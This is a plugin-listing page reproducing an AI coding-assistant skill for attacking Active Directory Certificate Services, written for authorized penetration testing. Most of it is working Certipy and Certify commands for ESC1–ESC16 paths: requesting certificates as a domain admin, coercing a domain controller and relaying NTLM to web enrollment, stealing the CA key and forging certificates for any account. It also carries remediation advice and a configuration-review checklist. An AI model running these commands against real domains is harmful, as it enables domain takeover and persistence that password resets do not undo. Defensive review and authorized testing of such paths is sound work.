/secskills-offense:abusing-adcsfrom secskills-offense
Enumerates and abuses Active Directory Certificate Services via Certipy and Certify — ESC1–ESC16 escalation paths, vulnerable templates, NTLM relay, and certificate persistence.
Ships in secskills-offense. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
A certificate authority in an Active Directory domain is usually the shortest path from a standard user to domain administrator, because certificate templates are permission objects that almost nobody audits. A single template that lets the enrollee supply their own subject name is a full domain compromise, and it is the default on more networks than it should be.
Only against domains you are authorized to test.
pKIEnrollmentService objects exist)certipy find or BloodHound reports vulnerable templatesattacking-active-directoryattacking-kerberos-delegationattacking-entra-idengineering-detections; certificate
request events (4886/4887) are the primary telemetry# Certipy — the standard tool; run this before anything else
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -vulnerable -stdout
certipy find -u [email protected] -p 'Password' -dc-ip 10.0.0.10 -old-bloodhound
# From Windows
Certify.exe find /vulnerable
Certify.exe cas # CA hosts, flags, and enrollment endpoints
certipy find -vulnerable names the ESC number directly, which is why it is
the first command. Read the output for: who can enroll, whether the requester
supplies the subject, which EKUs are present, and whether manager approval is
required.
Grouped by what is misconfigured, because the fix and the detection differ.
| ID | Condition | Result |
|---|---|---|
| ESC1 | Enrollee supplies subject (ENROLLEE_SUPPLIES_SUBJECT) + client-auth EKU + low-priv enrollment + no approval | Request a cert as any user, including a domain admin |
| ESC2 | Any Purpose EKU (or no EKU) + low-priv enrollment | Cert usable for client auth; same outcome as ESC1 |
| ESC3 | Certificate Request Agent EKU | Enroll on behalf of another user |
| ESC9 | CT_FLAG_NO_SECURITY_EXTENSION set | Cert lacks the SID binding, enabling weak-mapping abuse |
| ESC15 | v1 template with enrollee-supplied subject, application policies injectable | Client auth via application policy, bypassing the EKU restriction |
# ESC1 — the canonical path
certipy req -u [email protected] -p 'Password' -dc-ip 10.0.0.10 \
-ca 'CORP-CA' -template 'VulnTemplate' -upn '[email protected]'
# Authenticate with the certificate and recover the NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
# → TGT plus the account's NT hash
| ID | Condition | Result |
|---|---|---|
| ESC4 | You have write over a template object | Reconfigure it into an ESC1 template, use it, then restore |
| ESC5 | Write over PKI objects, CA computer object, or the container | Various, up to CA control |
| ESC7 | ManageCA or ManageCertificates on the CA | Enable ESC6, or approve your own pending request |
# ESC4 — make it vulnerable, use it, put it back
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -save-old
# ... request as in ESC1 ...
certipy template -u [email protected] -p 'Password' -template 'WriteableTemplate' -configuration WriteableTemplate.json
Restoring the template is not optional. Leaving a template in a vulnerable
state is a real change to the client's security posture, and doing so
unannounced is a finding against you, not them. -save-old first, restore
immediately, and record both actions with timestamps.
| ID | Condition | Result |
|---|---|---|
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA | Any template becomes subject-suppliable |
| ESC16 | Security extension disabled CA-wide | Every issued cert lacks SID binding |
# Check the CA flags
certutil -config "CA-HOST\CORP-CA" -getreg policy\EditFlags
| ID | Condition | Result |
|---|---|---|
| ESC8 | Web enrollment (/certsrv) reachable, no EPA/HTTPS binding | Relay NTLM to enrollment, get a cert for the relayed machine |
| ESC11 | ICertPassage RPC without packet integrity | Relay over RPC instead of HTTP |
# ESC8: coerce authentication from a DC, relay it to web enrollment
certipy relay -ca 10.0.0.20 -template DomainController
# in another shell, coerce:
coercer coerce -u user -p 'Password' -t 10.0.0.10 -l 10.0.0.100
# or PetitPotam / printerbug
certipy auth -pfx dc01.pfx -dc-ip 10.0.0.10 # → DC machine account → DCSync
| ID | Condition | Result |
|---|---|---|
| ESC10 | Weak certificate mapping registry values | Impersonate via UPN or altSecurityIdentities |
| ESC13 | Template with an issuance policy linked to a group | Cert grants that group's membership |
| ESC14 | Write access to altSecurityIdentities | Map your certificate to a target account |
Strong certificate binding changes the picture. After the May 2022 updates
(KB5014754), domain controllers can require certificates to carry the SID
security extension, and StrongCertificateBindingEnforcement governs how
strictly. On a fully-enforcing domain, ESC9, ESC10, and Certifried
(CVE-2022-26923) stop working, while ESC1, ESC4, ESC6, and ESC8 do not. Check
the enforcement level before reporting a path as exploitable:
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility (default for a period), 2 = full enforcement
Certificates are the most durable AD persistence available, which is exactly why they matter in a report.
THEFT2 / Golden Certificate) allows
forging certificates for any principal, indefinitely, offline. Recovering
from that requires re-issuing the PKI.# Extract the CA key with local admin on the CA host (DPAPI-protected)
certipy ca -backup -u [email protected] -p 'Password' -ca 'CORP-CA'
# Forge offline
certipy forge -ca-pfx ca.pfx -upn [email protected]
State this explicitly when reporting: "password resets do not remediate this; the issued certificates must be revoked" is the sentence that changes the client's response plan.
When the engagement is a configuration review rather than an attack:
Domain Users or Authenticated Users?EDITF_ATTRIBUTESUBJECTALTNAME2 set anywhere?StrongCertificateBindingEnforcement at full enforcement?ManageCA and ManageCertificates?ManageCertificates holder approves their own request.Authenticated Users appears more often than expected.Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Credential Access (TA0006)
attacking-active-directoryDetection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
attacking-active-directory — the wider domain attack pathattacking-kerberos-delegation — the other high-yield AD escalation familyengineering-detections — certificate issuance and template change telemetryreporting-security-findings — how to state the revocation requirementWhat SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
ad-cs, certipy, certify, certificate-services, privilege-escalation
npx claudepluginhub trilwu/secskills --plugin secskills-offense40 skills in this plugin
/abusing-ci-cd-oidcExploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials./attacking-active-directoryAttack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations./2 plugins ship this exact skill · first indexed Jul 31, 2026
Other plugins' skills for the same job